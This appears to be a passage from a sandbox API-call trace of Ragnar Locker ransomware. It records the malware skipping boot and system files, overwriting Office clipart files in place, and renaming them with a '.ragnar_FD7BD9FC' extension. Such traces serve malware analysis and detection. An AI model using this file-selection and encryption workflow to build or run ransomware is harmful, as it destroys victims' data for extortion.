1 [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="bootfont.bin") returned 1 [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="bootsect.bak") returned 1 [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="bootmgr") returned 1 [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="bootmgr.efi") returned 1 [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="bootmgfw.efi") returned 1 [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="desktop.ini") returned 1 [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="iconcache.db") returned 1 [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="ntldr") returned -1 [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="ntuser.dat") returned -1 [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="ntuser.dat.log") returned -1 [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="ntuser.ini") returned -1 [0087.108] lstrcmpiW (lpString1="J0241781.WMF", lpString2="thumbs.db") returned -1 [0087.108] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.108] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.108] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.108] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.108] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.108] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.108] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf")) returned 0x20 [0087.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.109] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1970) returned 1 [0087.109] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.109] GetProcessHeap () returned 0x580000 [0087.109] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.109] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.131] VirtualAlloc (lpAddress=0x0, dwSize=0x7b2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.131] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.131] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.132] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7b2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7b2, lpOverlapped=0x0) returned 1 [0087.132] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.132] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7b2, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.132] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7b2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7b2, lpOverlapped=0x0) returned 1 [0087.132] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.132] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.132] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.132] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.132] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.132] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.132] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.133] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.133] GetProcessHeap () returned 0x580000 [0087.133] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.133] CloseHandle (hObject=0xf4) returned 1 [0087.133] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" [0087.133] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.ragnar_FD7BD9FC" [0087.133] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.134] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7938, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0250504.WMF", cAlternateFileName="")) returned 1 [0087.134] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.134] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0250504.WMF" | out: lpString1="J0250504.WMF") returned="J0250504.WMF" [0087.134] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF") returned=".WMF" [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="autorun.inf") returned 1 [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="boot.ini") returned 1 [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="bootfont.bin") returned 1 [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="bootsect.bak") returned 1 [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="bootmgr") returned 1 [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="bootmgr.efi") returned 1 [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="bootmgfw.efi") returned 1 [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="desktop.ini") returned 1 [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="iconcache.db") returned 1 [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="ntldr") returned -1 [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="ntuser.dat") returned -1 [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="ntuser.dat.log") returned -1 [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="ntuser.ini") returned -1 [0087.134] lstrcmpiW (lpString1="J0250504.WMF", lpString2="thumbs.db") returned -1 [0087.134] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.134] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.134] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.134] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.134] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.134] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.134] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf")) returned 0x20 [0087.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.135] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31032) returned 1 [0087.135] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x792f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.135] GetProcessHeap () returned 0x580000 [0087.135] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.135] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.136] VirtualAlloc (lpAddress=0x0, dwSize=0x7938, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.137] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.137] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.137] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7938, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7938, lpOverlapped=0x0) returned 1 [0087.138] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.138] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7938, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.138] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7938, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7938, lpOverlapped=0x0) returned 1 [0087.138] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7938, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.138] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.138] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7938, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.138] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.139] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.139] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.139] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.139] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.139] GetProcessHeap () returned 0x580000 [0087.139] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.139] CloseHandle (hObject=0xf4) returned 1 [0087.139] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" [0087.139] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.ragnar_FD7BD9FC" [0087.139] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.140] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6958, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0250997.WMF", cAlternateFileName="")) returned 1 [0087.140] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.140] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0250997.WMF" | out: lpString1="J0250997.WMF") returned="J0250997.WMF" [0087.140] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF") returned=".WMF" [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="autorun.inf") returned 1 [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="boot.ini") returned 1 [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="bootfont.bin") returned 1 [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="bootsect.bak") returned 1 [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="bootmgr") returned 1 [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="bootmgr.efi") returned 1 [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="bootmgfw.efi") returned 1 [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="desktop.ini") returned 1 [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="iconcache.db") returned 1 [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="ntldr") returned -1 [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="ntuser.dat") returned -1 [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="ntuser.dat.log") returned -1 [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="ntuser.ini") returned -1 [0087.140] lstrcmpiW (lpString1="J0250997.WMF", lpString2="thumbs.db") returned -1 [0087.140] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.140] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.140] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.140] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.140] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.141] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.141] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf")) returned 0x20 [0087.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.141] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26968) returned 1 [0087.141] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x694f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.141] GetProcessHeap () returned 0x580000 [0087.141] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.141] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.142] VirtualAlloc (lpAddress=0x0, dwSize=0x6958, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.143] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.143] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.143] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6958, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6958, lpOverlapped=0x0) returned 1 [0087.143] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.144] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6958, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.144] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6958, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6958, lpOverlapped=0x0) returned 1 [0087.144] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6958, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.144] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.144] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6958, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.144] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.144] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.144] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.145] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.145] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.145] GetProcessHeap () returned 0x580000 [0087.145] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.145] CloseHandle (hObject=0xf4) returned 1 [0087.145] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" [0087.145] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.ragnar_FD7BD9FC" [0087.145] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.145] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1100c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251007.WMF", cAlternateFileName="")) returned 1 [0087.145] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.146] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0251007.WMF" | out: lpString1="J0251007.WMF") returned="J0251007.WMF" [0087.146] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF") returned=".WMF" [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="autorun.inf") returned 1 [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="boot.ini") returned 1 [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="bootfont.bin") returned 1 [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="bootsect.bak") returned 1 [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="bootmgr") returned 1 [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="bootmgr.efi") returned 1 [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="bootmgfw.efi") returned 1 [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="desktop.ini") returned 1 [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="iconcache.db") returned 1 [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="ntldr") returned -1 [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="ntuser.dat") returned -1 [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="ntuser.dat.log") returned -1 [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="ntuser.ini") returned -1 [0087.146] lstrcmpiW (lpString1="J0251007.WMF", lpString2="thumbs.db") returned -1 [0087.146] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.146] 